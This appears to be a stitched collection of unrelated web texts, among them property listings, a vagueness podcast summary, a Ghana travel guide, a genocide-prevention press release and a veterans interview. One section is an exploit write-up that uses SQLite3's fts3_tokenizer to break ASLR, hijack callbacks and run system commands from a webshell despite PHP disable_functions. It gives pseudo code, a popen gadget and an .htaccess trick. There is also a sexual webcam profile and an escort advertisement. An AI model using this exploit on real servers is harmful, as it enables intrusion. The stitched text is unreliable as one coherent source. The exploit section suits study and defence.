text:
This much loved and adored family residence is positioned to excite in a very popular Junee address. This treasured gem has been beautifully cared for to stand the test of time, allowing you to purchase with confidence. Featuring three generous bedrooms with timber robes and furniture that will stay with the home plus exceptionally high ceilings.Versatile kitchen living in good condition with a brand new oven and room for a small dining table. Lounge room features timber cabinetry for storage plus gas heating and ducted cooling for seasonal comfort. Updated bathroom with a new shower screen, separate toilet and a brand new instantaneous hot water service.
Undercover back verandah overlooks a tiered backyard with a large garden shed and an ideal area for a veggie patch. Front verandah is perfect for an afternoon relax plus access up the side leads you to a single garage. With impressive timber trims giving this home it's instant appeal, it's a Junee gem that's glazed in history and appeal!
Property Details
- Air Conditioning
- Gas Enabled


text:
This month, we are delighted to make our return to the topic of vagueness, this time in conversation with Stewart Shapiro, Professor of Philosophy at The Ohio State University. Click here to listen to our discussion.
You may remember from our previous episode on vagueness that most of the adjectives, common nouns, verbs, and prepositions we use are vague. To illustrate the idea, think of the adjective blue. In the philosophical setting, to say that the adjective blue is vague is to say a couple of things. First, although some things clearly are blue (like bluejays) and some things clearly aren't (like lemons), some things are right at the border (like this). Should we call that last borderline case blue or not? It's not particularly clear.
Second, words like blue lead to an old philosophical problem called the sorites paradox. Consider the adjective tall. Danny DeVito is clearly not tall, and LeBron James is clearly tall. Imagine that Danny DeVito were one millimeter taller. Surely that wouldn't make him tall. In fact, it seems obvious that no matter how tall he is, his being one millimeter taller couldn't ever suffice to make him tall. But on the other hand, if he were as tall as LeBron James, he obviously would be tall. Uh-oh. These two statements are logically inconsistent. Why? Well, LeBron James is a finite number of millimeters taller than Danny DeVito–510, to be exact. So if we played the game of supposing his height to be one millimeter greater than it is, then supposing it to be one millimeter greater than that, then supposing it to be one millimeter greater than that, etc., then at some point he is going to have to cross over from not being tall to being tall. Oops.
Shapiro argues that the reason we get into this paradox is that the standards for what counts as tall (or blue, or whatever) can shift within the same conversation, as the context changes. So maybe earlier on in our imagined conversation, I claim that being 1770 mm in height wouldn't be enough to make Mr. DeVito tall. We continue playing this game, and then at a certain point, I flip–let's say around 1830 millimeters. Shapiro thinks that at that point, I am committed to retracting my last few judgments. If I decide that being 1830 millimeters (about 6') in height would make him tall, then I am thereby committed to retracting my previous claim that being 1829 millimeters in height wouldn't make him tall. Working this basic idea out in detail allows Shapiro to explain why we have the intuitions we do about the sorites paradox while holding onto our intuitions about what is or isn't logically consistent to say.
Tune in to hear our guest explain how his theory works!
Matt Teichman

subset: commoncrawl


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Travel to Ghana
Flying to Ghana
The only practical way to travel quickly to Ghana from outside of West Africa is by air. There is no national carrier but airlines with scheduled flights to Accra include British Airways (www.ba.com), Emirates (www.emirates.com), Delta (www.delta.com), Ethiopian Airlines (www.ethiopianairlines.com), KLM (www.klm.com) and TAP (www.flytap.com). Ticket prices to Accra are not significantly affected by season.
Flights from the US and Canada tend to be expensive, so North Americans with more time than money may find it cheaper to fly to London, or elsewhere in Europe, and organise a ticket to West Africa from there.
The Major airport is: .
Avoid flying to Ghana on a one-way ticket. For one, you may hit serious problems with airport immigration officials if you don't arrive on a return ticket. And when you decide to return home, you'll find that flights out of Accra are very expensive, so you'll almost certainly end up paying double what you would for a cheap return.
Airport Guides
Accra Kotoka International Airport
LocationAccra Kotoka International Airport is situated about 8km (5 miles) northeast of Accra city centre.
+233 30 277 6171
AddressKIAAirport Road
Find out more >
Flight times
From London - 6 hours 30 minutes; New York - 10 hours.
Departure tax
Any departure taxes are included in the price of your air ticket.
Travelling to Ghana by Rail
Driving to Ghana
Driving note
Coming by road, it should be emphasised that the Ghanaian embassies in most West African countries, including of its three immediate neighbours, do not normally issue visas to non-residents. This means that you may be barred entry to Ghana unless you buy your visa in advance in your normal country of residence.
Getting to Ghana by boat
Main ports include Takoradi and Tema. Ships run between Tema and Nigeria, Côte d'Ivoire, Cameroon and South Africa.
Cruise ships
A few cruise ships running between Europe and southern Africa stop off in Ghana, usually in Takoradi, but not for long enough to allow time to explore the country.


text:
WASHINGTON – April is International Genocide Awareness and Prevention Month, and U.S. Senator Ben Cardin (D-Md.), Ranking Member of the Senate Committee on Foreign Relations, has engaged in a full range of activities highlighting the need to strengthen U.S. atrocity prevention capabilities and to maintain a strong commitment to holding perpetrators accountable.
As author of the Syrian War Crimes Accountability Act of 2015 and the Genocide and Atrocities Prevention Act of 2016, Cardin knows Bashar al-Assad, his regime, and its backers must answer for their ongoing atrocities against the Syrian people, which was put in stark relief just yesterday when it was reported that a Doctors Without Borders-supported hospital in Aleppo had been bombed, killing dozens of civilians and medical personnel, including one of the city's few remaining pediatricians.
Cardin mourned the loss of innocent life and said in part, "When all parties to a conflict do not adhere to or willfully ignore the standards of international humanitarian law and human rights, the resulting consequences mean the difference between life and death for innocent people. The international community must stand united against such atrocities and demand accountability, and call on the Syrian government and its backers to immediately commit to the cessation of hostilities and pursue a nonviolent pathway to a new day for Syria."
Yesterday's passage by the Senate of S.1635 authorized the Atrocities Prevention Board, an effort Cardin led. President Obama created the APB in 2012 in order for the United States to have effective mechanisms and tools in place to better prevent and respond to potential atrocities.
This week Cardin was presented with the Congressional Leadership Award by Refugees International for his commitment to humanitarian action, and he also spoke on the Senate floor to reflect on International Genocide Awareness and Prevention Month, in part by noting the cruel irony of how many atrocities have occurred in our recent history during the month of April:
"In many places around the world, April is a month where we celebrate rebirth and renewal. But April has too often been, in T.S. Eliot's words, "the cruelest month," a month where some of the world's darkest moments have cast shadows over our humanity.
"It was April 1915, when the Ottoman government began rounding up and murdering leading Armenian politicians, businessmen and intellectuals, a step that led to the extermination of more than a million Armenians.
"It was in April 1933, that the Nazis issued a decree paving the way for the "final solution," the annihilation of 6 million Jews of Europe.
"In April 1975, the Khmer Rouge entered Cambodia's capital city, launching a four-year wave of violence, killing 2 million people. In April 1992, the siege of Sarajevo began in Bosnia, the longest siege in modern history, where more than 10,000 people perished, including 1,500 children.
"In April 1994, the plane carrying the president of Rwanda crashed, triggering the beginning of a genocide that killed more than 800,000 people in 100 days. When we talk about what happened in Rwanda, it is easy to begin think of genocide as a single, undifferentiated act of barbarism. In reality, it was made of many individual atrocities that took place over 100 days.
"In April 2003, innocent civilians in Sudan's Darfur region were attacked, killing more than 400,000 and displacing 2,500,000 million in a conflict that continues to this day.
"And this past month, the State Department announced that the United States has determined that ISIS' action against the Yazidis, Shiite Muslims, and Christians in Iraq and Syria constitutes genocide. Specifically, Secretary Kerry noted that in 2014, ISIS trapped Yazidis, killed them, enslaved thousands of Yazidi women and girls, "selling them at auction, raping them at will and destroying the communities in which they had lived for countless generations."
"I rise here today, in April, not only to commemorate International Genocide Awareness and Prevention Month and pay respect to the innocents who were slaughtered, but also to speak about what the United States can and must do to prevent atrocities and genocide.


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5) In 1972, when this song was popular, Disney's Winnie the Pooh was quite a celebrity in his own right, appearing on the cover the 1972 Sears Christmas Wish Book. That year, kids asked Santa for plush Pooh, Tigger and Eeyore. Did you have many plush toys as a child? If yes, do you still have any of them?
8) What are you looking forward to most in 2023?


text: In the experimental workshop trials were carried out on the use of "CMH 470 V" in the recipe of fur lining production. "SMH 470 V" is a fat liquor developed by specialists of Shebekinskaya industrialnaya khimiya, LLC (Russia) for fatliquoring fur skins. The trials had a positive result: the skin tissue of the resulting article is soft and light, and the hair is clean and crumbly. Trials continued in production conditions.


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McDowell Mountain Ranch: A Breathtaking Urban Oasis
McDowell Mountain Ranch: A Breathtaking Urban Oasis
An area of breathtaking beauty characterizes McDowell Mountain Ranch. As perhaps Scottsdale's most picturesque location, McDowell Mountain Ranch attracts young families, business professionals, active outdoor enthusiasts, retirees, and snowbirds. Construction in this master-planned community began in 1998 and is now home to over 6,000 people living in 4,000 homes scattered across the community's 26 distinct neighborhoods.
The community sits adjacent on the east to the McDowell Sonoran Desert Preserve, a 16,000-acre conservation area home to numerous rare desert species. Bell Road is the community's northern boundary, while Thompson Peak Parkway is its western border. With 40 miles of hiking, biking, and horseback riding trails that connect to trails in the preserve and other North Scottsdale neighborhoods, McDowell Mountain Ranch is a paradise for those who love an active lifestyle.
Wide Selection of Housing Options
Buyers will find all sorts of housing options here, from luxury condos and townhomes, patio homes, golf course homes, single-family residences, executive homes, and luxury custom hillside estates with several acres of property. Many neighborhoods are gated. Exterior elevations are as varied as housing prices, as you'll find everything from affordable multi-unit residences and smaller single-family homes to multi-million dollar properties. Gorgeous city and mountain views are common. If you're looking for a carefree lifestyle, check out Cachet and The Ridge near Bell Road and Thompson Peak Parkway. Golf enthusiasts favor Sonoran Fairways and Sunset Point near the McDowell Mountain Golf Club. For the ultimate in luxury, the gated One Hundred Hills neighborhood offers sheer luxury with many properties backing up to the Sonoran Preserve.
Enjoying an Active Life
McDowell Mountain Ranch residents are always doing something, whether heading out on trails ranging from 0.5 to 15.3 miles long, playing a round of golf, or engaging in a variety of activities at one of the community centers. The community is perfect for all ages.
McDowell Mountain Golf Club
Located in the southern portion of the community, McDowell Mountain Golf Club is unique to Arizona courses as it offers a premium golf and dining experience with no membership fees. The club offers stunning views of the surrounding landscape, a golf academy, a high-end dining experience at The Mesquite Grille, and banquet facilities.
McDowell Mountain Ranch Community Center
Perfectly placed in the center of McDowell Mountain Ranch is its Community Center. It offers a 25-meter swimming pool, tots' play pool, two tennis courts, basketball and sand volleyball courts, ramadas, a playground, and a slate full of concerts and special activities.
McDowell Mountain Ranch Aquatic & Fitness Center
Residents will find everything here, including a 13-lane lap pool, swim lessons, a recreational swim team, water slides, competitive diving boards, and water aerobics classes. The fitness center features aerobic and strength training classes, free weights, machine weights, and various cardiovascular machines.
Are You Hungry?
After hiking, biking, golfing, or swimming all day, you're bound to work up an appetite. Try these local favorites:
- Thompson's 105
- Sophia's Kitchen
- Kay Sushi
- Flo's
- La Cucina Bistro & Wine Bar
Nearby Shopping
You'll have to venture outside McDowell Mountain Ranch for daily shopping needs, yet your journey will only take five to ten minutes. Head to Thompson Peak Parkway and Frank Lloyd Wright Boulevard for stores like AJ's Finer Foods, Safeway, CVS, Walgreen's, and fast food options.


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Since the Grenfell Tower fire tragedy, the construction industry has seen the first steps of change for design, construction and management of fire safety, especially regarding in residential buildings.
The Hackitt independent review of the Building Regulations and Fire Safety was commissioned by the government which identified:
- A systematic failure underpinned by ignorance and indifference
- A lack of clarity on roles and responsibilities
- Inadequate regulatory oversight and enforcement tools
- Insufficient focus on delivering the best quality building possible
Clearly, a new building and fire safety system is needed that puts occupant's safety first.
Approved Document B (ABD) has been republished to include specific advice on how to meet the fire safety requirements and new Building Regulations have been introduced prohibiting the use of nearly all combustible materials in the external walls of residential buildings over 18 meters tall.
Many stakeholders within the industry including designers, developers, contractors and building operators have taken measures to address the current industry failings early. These measures have included adopting safer eternal wall construction specifications, installing sprinklers to more buildings and tighter construction management controls, all before new regulations come into place.
While we may not know now what a new building and fire safety system will be, it is clear that change is needed.
FDS Group Event
FDS Group is hosting an event to encapsulate all the changes that are needed and are coming to our industry. Here's a brief guide to the content that will be discussed:
- The Consequences of Tighter Regulation – Steve Morgan, Director, FDS Consult UK
- Installer Competence and Smoke Control Product with Independent Certification – guest speaker Allan Hurdle, International HVAC Consultant, Consultant to the SCA
- Designing Compliant Solutions – Simon Sheldon, Technical Manager, Fire Design Solutions
- The Benefits of Working with Expert Fire Engineers – John Harris, Head of Sales & Marketing
- The Importance of Fire Safety System Maintenance: Will it work when you need it? – Simon Sheldon, Technical Manager, Fire Design Solutions
If you would be interested in attending this event, please contact us to find out if there are still tickets remaining.


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Contributions to doping cases
One of the main legal activities involves the submission of arguments in doping cases. These arguments set out the position of the Doping Authority with regard to the relevant provisions in the Doping Regulations, the International Standards, the facts of the case, and the arguments stated by the athletes in their defence. Submitting arguments in this way gives the Doping Authority the opportunity to describe the legal framework for disciplinary committees, to discuss crucial provisions in the Doping Regulations and/or International Standards, and to respond to the defence arguments of the athlete in question (on the basis of case law from the CAS and elsewhere). The Doping Authority also answers a range of supplementary questions (from the disciplinary committees) and/or defence arguments (from the athletes).
WADA Appeal
WADA receives the results from the doping controls conducted throughout the world by all WADA-accredited laboratories on an anonymous basis. This allows WADA to submit enquiries to NADOs and international federations about the results of doping cases. In practice, this means that WADA asks the Doping Authority to state whether a sanction has been imposed and, if so, what that sanction is, when doping controls have produced positive results. WADA then decides whether more information is required to determine whether the Code has been applied and observed correctly in the case in question. In two cases, this review led WADA to submit an appeal in two cases in 2012. In one case, the appeal was submitted to the appeals committee of the IST. In the other case, WADA appealed to the CAS against a decision by the appeals committee.
Explanatory Statement accompanying the National Doping Regulations (NDR)
At the request of the Institute for Sports Law (ISR) and a range of sports associations, the Doping Authority is developing an Explanatory Statement to accompany the NDR. The NDR are based on a combination of the World Anti-Doping Code (WADC), different International Standards, Dutch law, national and international case law, the Dutch approach to implementing doping controls, and the role of the Doping Authority.
Almost every provision in the NDR reflects a large or varied number of intentions, historical factors, international rules/procedures and case law. Disciplinary judges (and associations) often know little or nothing about this background. The Explanatory Statement is intended to remedy this and, in that way, contribute to the correct and full application of the NDR, particularly in doping cases.
Code Revision
In 2012, WADA distributed two draft versions of the revised WADC (which is due to come into force on 1 January 2015). The first draft proposed Draconian sanctions (standard suspensions of four years for many infringements, an Olympic ban that could include several Olympic Games, and far-reaching team penalties).
A positive development involves placing a greater emphasis on performance enhancement in the criteria for including substances on the prohibited list.
The Doping Authority has, in consultation with its policy partners (the Ministry of Sport, NOC*NSF and the NOC*NSF Athletes' Committee), sent a response to this draft version of the WADC to WADA. The Doping Authority also responded to this first draft Code through the contribution from the Council of Europe.
The second draft version of the revised Code was drastically amended with respect to the first draft. This draft still contains the proposal to establish a prohibited list in which the performance-enhancing effects of the substances play a central role. Considerable improvements have been made with respect to the previous version in the field of mitigating sanctions. The Doping Authority has also responded to this second draft version. The final consultation phase will end in March 2013. The definitive 2015 WADC will be adopted by WADA in November 2013 during the World Conference on Doping in Johannesburg.


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YongLi CO2 220W Laser Engraving Cutting Machine 51"x35" Autofocus Water Chiller. Video will open in a new window. For the US customers, DDP terms. The machine will be delivered directly to your door. This item is in the category "Business & Industrial\Printing & Graphic Arts\Screen & Specialty Printing\Engraving".
The seller is "sfx-industrial-technology" and is located in this country: CN.


text:
Bio: What kind of woman is this?
My Name: AdventureAlice
Gender: female
Age: 25
Country: UA
What Turns Me On: Blow Job and humor.
What Turns Me Off: I pay a person back in the same coin,because I am Scorpio,so don't be rude.
I Speak english
What I prefer sexually: bisexual
Build and Frame: average
My Appearance: I have long hair and it's brown, my eyes are green,I'd say my tits are tiny. Anything else you want to know just look at me :)
Things I am willing to do: close up, dancing, fingering, live orgasm, striptease, snapshot, , , , , , ,
Leave a Reply
Tags stockings
Leave a reply


text:
Passengers with reduced mobility are informed that in order to ensure the presence of the platform it is necessary to book the ride. Reservations must be made at least 24 hours in advance.
Disability and safety
To ensure the safety of our customers, the access of passengers with wheelchair on all equipped vehicles of Arriva must be in compliance with the following size and weight limits: width 75 cm, length 120 cm, height 109 cm and maximum weight of 200 kg, however, being considered Arriva relieved of any responsibility in case of boarding with prams not complying with the above limits.
Albino-Selvino Cableway
Before the trip, for information about the times, the desired route and the facilities c/o the Funivia di Albino – Selvino, we recommend to contact the Contact Center only on 035.289000
At the departure station of the Albino cableway to allow people in wheelchairs to reach the departure plan of the cabins there is a stairlift system, marked by its symbol, with mobile platform to electric operation.
The stations of Albino and Selvino are equipped with specific horizontal signs to direct you towards the ascent/descent systems and the exit from the stations.
In case of need, please contact the Operator in service directly. Our operators constantly monitor the docks of the valley station and upstream of the Albino-Selvino cableway.
To allow passengers to communicate with the Station operator and the Operations Room, there are SOS audio intercoms in the cabin.
You may also like
Are you searching for an information but you can't find it?
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Most frequently asked questions
Can people in wheelchairs use buses?
People in wheelchairs can use buses. Remember, in order to provide a better service, to fill out the dedicated form within 24 working hours before the scheduled departure.
I am a blind man and my guide dog is large, can I use the bus?
Yes, guide dogs are allowed on board buses and can travel free of charge unless the blind person is accompanied by a guide who is entitled to travel free of charge.
The form doesn't work, what should I do?
Our website is optimized for Google Chrome from pc. If you filled out the form from mobile or used another browser please try again from a desktop or laptop using Google Chrome.
In case the problems still persists you can contact the operators of the Contact Center for assistance in order to complete the sending of the request.
Can I submit the form without accepting the processing of privacy data?
The form cannot be forwarded without accepting the processing of privacy data, as, in order to process the request, authorisation for the processing of data is required. For more information visit the page www.arriva.it/societa-trasparente/


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Bypass PHP Safe Mode by Abusing SQLite3's FTS Tokenizer
As a pentester, once you own a webshell you may need to get more access by running extra programs. But disable_functions
may stop you from invoking system commands and probably open_basedir
was set as well.
PHP doesn't actually have a sandbox, so these restrictions have no effect on native code. If there were a bug that leads to code execution, the access control policies are broken.
For example, this exploit abuses an use after free bug to bypass them.
SQLite3 has a function called fts3_tokenizer
to register custom tokenizers for full-text search. The FTS3 and FTS4 extension modules allows users to create special tables with a built-in full-text index (hereafter "FTS tables"). The full-text index allows the user to efficiently query the database for all rows that contain one or more words (hereafter "tokens"), even if the table contains many large documents.[1]
To implement full-text search in SQLite3, create a virtual index table, insert records to it to build index, then search keywords with MATCH
clause. Both indexing and searching requires tokenization. By default SQLite uses its built-in simple tokenizer. Developers can also implement their own tokenizers to support languages other than English.
A custom FTS3 tokenizer should implement the following callbacks:
: initializationxDestroy
: destructorxOpen
: create a new tokenize cursor from a user inputxClose
: close the cursorxNext
: yield next word
These callbacks are registered in a sqlite3_tokenizer_module
struct, declared as follow:
struct sqlite3_tokenizer_module {
int iVersion;
int (*xCreate) (int argc, const char * const *argv, sqlite3_tokenizer **ppTokenizer);
int (*xDestroy) (sqlite3_tokenizer *pTokenizer);
int (*xOpen) (sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
int (*xClose) (sqlite3_tokenizer_cursor *pCursor);
int (*xNext) (sqlite3_tokenizer_cursor *pCursor, const char **ppToken, int *pnBytes, int *piStartOffset, int *piEndOffset, int *piPosition);
When the tokenizer is ready, we should register it to the SQLite.
FTS does not expose a C-function that users call to register new tokenizer types with a database handle. Instead, the pointer must be encoded as an SQL blob value and passed to FTS through the SQL engine by evaluating a special scalar function,
. Thefts3_tokenizer()
function may be called with one or two arguments, as follows:SELECT fts3_tokenizer(<tokenizer-name>); SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>)
; Where is a string identifying the tokenizer and is a pointer to ansqlite3_tokenizer_module
structure encoded as an SQL blob. If the second argument is present, it is registered as tokenizer and a copy of it returned. If only one argument is passed, a pointer to the tokenizer implementation currently registered as is returned, encoded as a blob. Or, if no such tokenizer exists, an SQL exception (error) is raised.[1]You may notice that there's a security warning in SQLite's official document. Actually we can abusefts3_tokenizer
to execute arbitrary code, and even break a modern system protection.
Leak the Module Base
SQLite3 has a few built-in tokenizers, like simple, porter and unicode61. The query below returns a hex string represents a big-endian address:
select hex(fts3_tokenizer('simple'));
In ext/fts3/fts3.c it loads the built-in tokenizers into a hash table. The address comes from libsqlite3
's .bss
section and refers to this:
static const sqlite3_tokenizer_module simpleTokenizerModule = {
So a simple SQL query breaks the ASLR.
Arbitrary Code Execution via Callbacks
The following queries will crash sqlite3 REPL (for 32bit, use x'41414141'
select fts3_tokenizer('mytokenizer', x'4141414141414141');
create virtual table a using fts3(tokenize=mytokenizer);
Use a debugger to view the context:
RAX: 0x4141414141414141 (b'AAAAAAAA')
RBX: 0x0
RCX: 0x0
RDX: 0x7fffffffc620 --> 0x0
RSI: 0x0
RDI: 0x0
RBP: 0x0
RSP: 0x7fffffffc4e0 --> 0x3
RIP: 0x7ffff7bab71c (call QWORD PTR [rax+0x8])
R8 : 0x55555579b968 --> 0x656c706d6973 (b'simple')
R9 : 0x0
R10: 0x0
R11: 0x1
R12: 0x0
R13: 0x8
R14: 0x7fffffffc514 --> 0x2e1ef00000000006
R15: 0x555555799f78 --> 0x7ffff7bb39e4 --> 0x746e65746e6f63 (b'content')
0x7ffff7bab712: mov edi,ebx
0x7ffff7bab714: mov rdx,QWORD PTR [rsp+0x10]
0x7ffff7bab719: mov rsi,r12
=> 0x7ffff7bab71c: call QWORD PTR [rax+0x8]
0x7ffff7bab71f: test eax,eax
0x7ffff7bab721: mov ebx,eax
0x7ffff7bab723: jne 0x7ffff7bab790
0x7ffff7bab725: mov rax,QWORD PTR [rsp+0x10]
is the second parameter from fts3_tokenizer
. SQLite3 called the xCreate
callback with no validation and caused the segment fault. This refers to sqlite3Fts3InitTokenizer
in ext/fts3/fts3_tokenizer.c
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1);
if( !m ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
rc = SQLITE_ERROR;
} else {
char const **aArg = 0;
//...lines omitted...
rc = m->xCreate(iArg, aArg, ppTok);
assert(rc != SQLITE_OK || *ppTok);
if (rc != SQLITE_OK) {
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer");
Assume the virtual table named fulltext has already been created successfully. This query triggers xOpen
callback with the string "text goes here" as the pInput1
insert into fulltext values("text goes here");
Sources in ext/fts3/fts3_expr.c
, function sqlite3Fts3OpenTokenizer
sqlite3_tokenizer_module const *pModule = pTokenizer->pModule;
sqlite3_tokenizer_cursor *pCsr = 0;
int rc;**rc = pModule->xOpen(pTokenizer, z, n, &pCsr);
So we can craft a target address on a predictable memory location, pass the location to fts3_tokenizer
, trigger the callback, then program counter is hijacked. Yep! It can be a global variable in .bss
segment, or use the heap spray technique.
Commit e36e9c introduced the soft_heap
pragma for limiting the size of heap memory pool. It accepts a 64-bit number set the global variable mem0.alarmThreshold
to the given value. This global variable's address can be calculated from previously leaked simpleTokenizer
The pseudo code to describe the exploit:
$big_endian_address = sqlQuery("select hex(fts3_tokenizer('simple)) addr")['addr'];
$leaked_address = big_endian_to_cpu_endian($big_endian_address);
$libsqlite3_base = $leaked_address - $simple_tokenizer_offset;
$alarm_threshold = $libsqlite3_base + $threshold_offset;
$target = 0xdeadbeefdeadbeef;
$off_by_one = $is_64_bit ? 8 : 4;
$crafted = $alarm_threshold - $off_by_one;
$big_endian_address = cpu_endian_to_big_endian($crafted);
sqlQuery("select fts3_tokenizer('simple', ?);", $big_endian_address);
sqlQuery("create table a using fts3"); // crash
Exploiting PHP
The SQLite3 extension is enabled by default as of PHP 5.3.0. It's possible to disable it by using --without-sqlite3
at compile time.[2] The extension is compiled with FTS so there's an attack surface. We don't even have to create a file since SQLite supports in-memory database.
PHP does not come with PIE, but apache2 does. PHP interpreter is loaded as a shared object (mod_php.so
) in Apache2's worker processes, who have full protection enabled.
Without a proper gadget for stack pivoting, sadly I only have one chance to call. xOpen looks good for PC-control. Its second param is a string from SQL which can be fully controlled.
int (*xOpen) (sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
Here's a gadget to call popen
.text:00000000002F137A mov rbx, rsi
.text:00000000002F137D lea rsi, aRbLR+5 ; modes
.text:00000000002F1384 sub rsp, 58h
.text:00000000002F1388 mov [rsp+88h+var_74], edi
.text:00000000002F138C mov rdi, rbx ; command
.text:00000000002F138F mov [rsp+88h+var_58], rdx
.text:00000000002F1394 mov rax, fs:28h
.text:00000000002F139D mov [rsp+88h+var_40], rax
.text:00000000002F13A2 xor eax, eax
.text:00000000002F13A4 mov [rsp+88h+var_50], rcx
.text:00000000002F13A9 mov [rsp+88h+var_48], 0
.text:00000000002F13B2 call _popen
To set both xCreate
and xOpen
, we need at least 3 continuous QWORDs to be controllable. But the PRAGMA clause only sets one. Heap spray fits the need, except it can't always hit because of alignment. Sending multiply requests is acceptable, and it worked.
Another reliable way is to set PHP.ini entries. In almost every PHP module or extension's source we see the ZEND_BEGIN_MODULE_GLOBALS
macro. It stores "global" variables per module scope, and these data are on .bss segment so their locations are predictable. Here's an example picked from mysqlnd.h:
char * debug; /* The actual string */
char * trace_alloc_settings; /* The actual string */
MYSQLND_DEBUG * dbg; /* The DBG object for standard tracing */
MYSQLND_DEBUG * trace_alloc; /* The DBG object for allocation tracing */
zend_long net_cmd_buffer_size;
zend_long net_read_buffer_size;
zend_long log_mask;
zend_long net_read_timeout;
zend_long mempool_default_size;
zend_long debug_emalloc_fail_threshold;
zend_long debug_ecalloc_fail_threshold;
zend_long debug_erealloc_fail_threshold;
zend_long debug_malloc_fail_threshold;
zend_long debug_calloc_fail_threshold;
zend_long debug_realloc_fail_threshold;
char * sha256_server_public_key;
zend_bool fetch_data_copy;
zend_bool collect_statistics;
zend_bool collect_memory_statistics;
The type zend_long
is an alias for int64 on 64bit system, now we can craft the module struct by manipulating php.ini entries. In most cases the function ini_set
is disabled, but this could be bypass once the httpd.conf enables AllowOverride.
When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. httpd.conf) and .htaccess
files. You will need "AllowOverride Options" or "AllowOverride All" privileges to do so.
There are several Apache directives that allow you to change the PHP configuration from within the Apache configuration files. For a listing of which directives are PHP_INI_ALL
, or PHP_INI_SYSTEM
, have a look at the List of php.ini directives appendix. [3]
Since we already have the permission to write and execute a webshell, it's not a problem to put another .htaccess
file inside the same directory.
The exploit requires two requests. The former leak the address and generate a .htaccess
file with directives to craft callback addresses. The later trigger system command by inserting into virtual table.
Here's the test environment.
Linux ubuntu 3.19.0-44-generic #50-Ubuntu SMP Mon Jan 4 18:37:30 UTC 2016 x86_64 Apache/2.4.10 (Ubuntu) PHP Version 5.6.4-4ubuntu6.4
POC source code:


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"The Remedy" is a joint podcast between WEBB Squared "Wealth through Entrepreneurship for Black Businesses" and Afro Future Productions.
Meet "The Remedy" hosts:
In this episode:
We continue to explore the concept of "resiliency", and explore the relationship between art and resiliency:
"The Revolution Begins with Dialogue"
Join the conversation! Become a part of the revolution. Join our community as a Patreon Subscriber. Your support is greatly appreciated.
Subscribers will be able to participate in monthly conversations with the hosts and will be acknowledged on social media as well as the podcast.


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The JDI Group has a long history with the UT Health Science Campus. One of our original projects with The University of Toledo was to bring a Bio-Safety Level 3 (BSL-3) laboratory into compliance with Center for Disease Control and World Health Organization regulations. The initial project included relocating the HEPA bag-in/bag-out air filter assembly, which protects facility personnel and the general public from hazardous materials. JDI also reconfigured the exhaust ductwork to provide negative pressure within the building and relocated the exhaust fan assembly. A steam autoclave was added within the BSL-3 suite.
In a subsequent project, the work flow was altered to provide for BSL-3 animal holding areas. The room pressurization was adjusted and redundant exhaust fans added and relocated on the roof. These alterations to the facility and exhaust system provided necessary redundancy at a cost savings. JDI provided full architectural, mechanical and electrical engineering services on this project.
In 2021, JDI assisted UT with a conceptual design for renovating the Health Education Building to accommodate an expanded BSL-3 laboratory, a new BSL-2 laboratory, and new animal housing.


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In honor of Veterans Day, veteran Ginger Apprich joins the podcast to share her experience in the Navy. Ginger is the Community Relations Director for Ovation Heartwood Preserve in Omaha, Nebraska, managed by Arete Living. It was in the service that she discovered her passion for senior living.
Here are a few of the questions Ginger answered during this exclusive interview. Read below, then get the full episode on your favorite podcast platform!
What inspired you to join the Navy?
It was that uniform, that military uniform that just stood out to me. Having family members that were part of the military – it just put me in awe every time I saw the uniform and especially those that came before me as a veteran – they're the ones that really paved the way and so I wanted to be a part of that.
Of the places you traveled while in the Navy, which stood out the most to you?
Ginger: One of the things I really enjoyed having the opportunity to do in the military was volunteer, so whenever I had the opportunity to go on base, I would seek out different places to volunteer and one of my favorites was a senior care center. It was great because I really loved being with the seniors and talking to them and just learning about what got them to be in their military, so it was nice.
Host: Did that volunteer experience kick-start your passion into the senior living industry?
Ginger: It really did. My biggest passion that I was able to experience was hospice. I couldn't believe that at the end of life some of their patients or residents didn't have any family, so I was a volunteer with hospice and I was able to actually sit with them at the end of life. Nobody comes into this world being born without family around and they shouldn't have to leave the world without anybody around, so it was at that moment I knew I wanted to be in the senior living industry.
Looking back on your service, what are you most proud of?
Ginger: I am most proud that I was chosen to be in the military. I did receive some awards – Sailor of the Quarter several times – but that's not what was important to me. What was truly important was putting on that uniform just like several veterans did prior to me doing that and really serving our country. It gave me such pride every time I put that uniform on, and I loved it.
Host: And I remember you saying in your email that even today sometimes you get emotional when you hear the national anthem or see someone else in a uniform.
Ginger: I do. I mean I get goosebumps every time I hear the national anthem and just seeing someone that was a veteran whether it be they wear a hat or they have an item of clothing on that tells me they're a veteran, because what's really important is our veterans shouldn't just be thanked on Veterans Day and Memorial Day. They should be thanked every single day and I purposely carry with me pins that say thank you veteran, and I hand them out when I'm in the airport or grocery shopping. I am just so proud whether they served one day or 30 years that they put that uniform on and represented our country.
You have several family members that have served as well, so tell me about your family service.
My husband was a colonel in the army. He has since retired, so I actually followed him when I got out of the military. I interviewed him – that's how we met. My dad was in the Navy. My son is currently in the Army Reserves, and my father-in-law was in the Air Force, so lots of different branches and a lot of experience. And to this day when we all get together, we still tell those stories of being in the military.
What can we do as citizens to best support our veterans?
The biggest thing is just say thank you. I was at a veterans ceremony in which my husband and I would pin all of the veterans and thank them. Unfortunately I had one situation – it was a veteran that had served in Vietnam and he threw that pin back at us and he said, "Don't honor me. Nobody did it in my past, why should you do it now?" And I was really taken aback by that because those veterans during that era weren't thanked, so I just feel it's so important if you see a veteran, if you see them wearing maybe a veteran's hat or some type of clothing that really identifies them as a veteran, say thank you and it will mean the world to them.
What message do you have for those who are currently serving our country?
I want to say thank you. Like I said before, it doesn't matter if you serve one day or 30 years, you are a veteran. You took the oath, and keep going and be a receiver of when someone says thank you because they mean that. They're telling you that for a reason.
Listen to the full episode
We extend a special thank-you to Ginger and her family for their selfless service. Thank you to Ginger and all our veterans.
Listen to the full episode on your favorite podcast platform or below!


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Mishelle incredible body and seductive personality
At Babes of London we like to pride ourselves on not only having the most physically beautiful London escorts on our books, but also women who have very special personalities. Mishelle is certainly one such woman.
